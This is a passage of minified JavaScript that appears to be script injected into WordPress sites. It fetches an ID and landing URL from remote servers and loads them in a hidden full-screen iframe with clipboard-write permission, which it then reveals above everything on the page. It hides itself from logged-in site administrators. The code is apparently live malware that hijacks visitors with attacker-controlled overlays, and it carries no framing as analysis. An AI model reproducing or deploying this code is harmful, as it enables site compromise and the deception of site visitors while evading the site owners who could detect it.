var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));
if (!builtUrl) { return step(index + 1); }
if (!cfg.useFetch) { return Promise.resolve(builtUrl); }
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }
return step(0); }
function activateIframe(url) { if (!url || registry.status === "active") return;
if (isWpLoggedInContext()) { cleanup("done"); return; }
var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }
var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }
var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;
function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);
registry.status = "active";
iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");
setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }
function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }
registry.destroy = destroy; registry.reveal = reveal;
iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");
iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };
iframe.onerror = function () { destroy(); };
timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);
try { mount.appendChild(iframe); } catch (e) { destroy(); } }
function run() { warmupOrigins(); bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }
return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) { cleanup("done"); return ""; }
var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }
activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }
registry.runPromise = run(); })();
